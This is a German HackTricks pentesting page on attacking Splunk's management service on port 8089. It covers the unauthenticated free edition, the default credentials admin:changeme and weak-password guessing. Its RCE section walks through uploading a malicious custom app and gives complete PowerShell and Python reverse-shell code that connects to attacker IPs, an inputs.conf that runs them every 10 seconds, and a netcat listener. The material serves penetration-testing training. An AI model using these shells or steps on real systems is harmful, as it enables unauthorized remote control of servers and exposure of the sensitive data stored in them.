9.4 KiB
8089 - Pentesting Splunkd
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.
Grundlegende Informationen
Splunk ist ein Protokollanalysetool, das eine entscheidende Rolle beim Sammlen, Analysieren und Visualisieren von Daten spielt. Obwohl sein ursprünglicher Zweck nicht darin bestand, als SIEM (Sicherheitsinformations- und Ereignisverwaltung)-Tool zu dienen, hat es an Bedeutung im Bereich der Sicherheitsüberwachung und Geschäftsanalyse gewonnen.
Splunk-Implementierungen werden häufig verwendet, um sensible Daten zu speichern und können für potenzielle Angreifer eine wertvolle Informationsquelle darstellen, wenn es ihnen gelingt, das System zu kompromittieren. Standardport: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Der Splunk-Webserver läuft standardmäßig auf Port 8000. {% endhint %}
Enumeration
Kostenlose Version
Die Splunk Enterprise-Testversion wird nach 60 Tagen in eine kostenlose Version umgewandelt, die keine Authentifizierung erfordert. Es ist nicht ungewöhnlich, dass Systemadministratoren eine Testversion von Splunk installieren, um sie auszuprobieren, die anschließend vergessen wird. Diese wird automatisch in die kostenlose Version umgewandelt, die keine Form der Authentifizierung hat und somit ein Sicherheitsrisiko in der Umgebung darstellt. Einige Organisationen entscheiden sich möglicherweise aufgrund von Budgetbeschränkungen für die kostenlose Version, ohne die Auswirkungen eines fehlenden Benutzer-/Rollenmanagements vollständig zu verstehen.
Standardanmeldeinformationen
In älteren Versionen von Splunk sind die Standardanmeldeinformationen admin:changeme
, die bequemerweise auf der Anmeldeseite angezeigt werden.
Jedoch setzt die neueste Version von Splunk Anmeldeinformationen während des Installationsprozesses. Wenn die Standardanmeldeinformationen nicht funktionieren, lohnt es sich, nach gängigen schwachen Passwörtern wie admin
, Welcome
, Welcome1
, Password123
usw. zu suchen.
Informationen erhalten
Nach dem Anmelden bei Splunk können wir Daten durchsuchen, Berichte ausführen, Dashboards erstellen, Anwendungen aus der Splunkbase-Bibliothek installieren und benutzerdefinierte Anwendungen installieren.
Sie können auch Code ausführen: Splunk hat mehrere Möglichkeiten, Code auszuführen, wie serverseitige Django-Anwendungen, REST-Endpunkte, skriptgesteuerte Eingaben und Alarmierungsskripte. Eine häufige Methode, um eine Remote-Codeausführung auf einem Splunk-Server zu erlangen, ist die Verwendung einer skriptgesteuerten Eingabe.
Darüber hinaus können skriptgesteuerte Eingaben erstellt werden, um Bash-, PowerShell- oder Batch-Skripte auf Windows- oder Linux-Hosts auszuführen.
Shodan
Splunk build
RCE
Benutzerdefinierte Anwendung erstellen
Eine benutzerdefinierte Anwendung kann Python-, Batch-, Bash- oder PowerShell-Skripte ausführen.
Beachten Sie, dass Splunk mit installiertem Python geliefert wird, sodass Sie selbst auf Windows-Systemen Python-Code ausführen können.
Sie können diese Splunk-Paket verwenden, um uns zu unterstützen. Das Verzeichnis bin
in diesem Repository enthält Beispiele für Python und PowerShell. Lassen Sie uns das Schritt für Schritt durchgehen.
Um dies zu erreichen, müssen wir zunächst eine benutzerdefinierte Splunk-Anwendung mit der folgenden Verzeichnisstruktur erstellen:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Der bin
-Ordner wird alle Skripte enthalten, die wir ausführen möchten (in diesem Fall ein PowerShell-Reverse-Shell), und im Standardverzeichnis befindet sich unsere inputs.conf
-Datei. Unsere Reverse-Shell wird ein PowerShell-Einzeller sein:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Die inputs.conf Datei gibt Splunk an, welches Skript ausgeführt werden soll und alle anderen Bedingungen. Hier setzen wir die App als aktiviert und sagen Splunk, das Skript alle 10 Sekunden auszuführen. Das Intervall ist immer in Sekunden angegeben, und die Eingabe (Skript) wird nur ausgeführt, wenn diese Einstellung vorhanden ist.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Wir benötigen die .bat
-Datei, die ausgeführt wird, wenn die Anwendung bereitgestellt wird, und führen den PowerShell-One-Liner aus.
Der nächste Schritt besteht darin, Install app from file
auszuwählen und die Anwendung hochzuladen.
Bevor wir die bösartige benutzerdefinierte App hochladen, starten wir einen Listener mit Netcat oder socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Auf der App hochladen
Seite klicken Sie auf Durchsuchen, wählen Sie das zuvor erstellte Tarball aus und klicken Sie auf Hochladen
. Sobald wir die Anwendung hochgeladen haben, wird eine umgekehrte Shell empfangen, da der Status der Anwendung automatisch auf Aktiviert
umgeschaltet wird.
Linux
Wenn wir es mit einem Linux-Host zu tun hätten, müssten wir das rev.py
Python-Skript bearbeiten, bevor wir das Tarball erstellen und die benutzerdefinierte bösartige App hochladen. Der Rest des Prozesses wäre gleich, und wir würden eine umgekehrte Shell-Verbindung auf unserem Netcat-Listener erhalten und loslegen.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Berechtigungen zu eskalieren und Persistenz zu erlangen:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.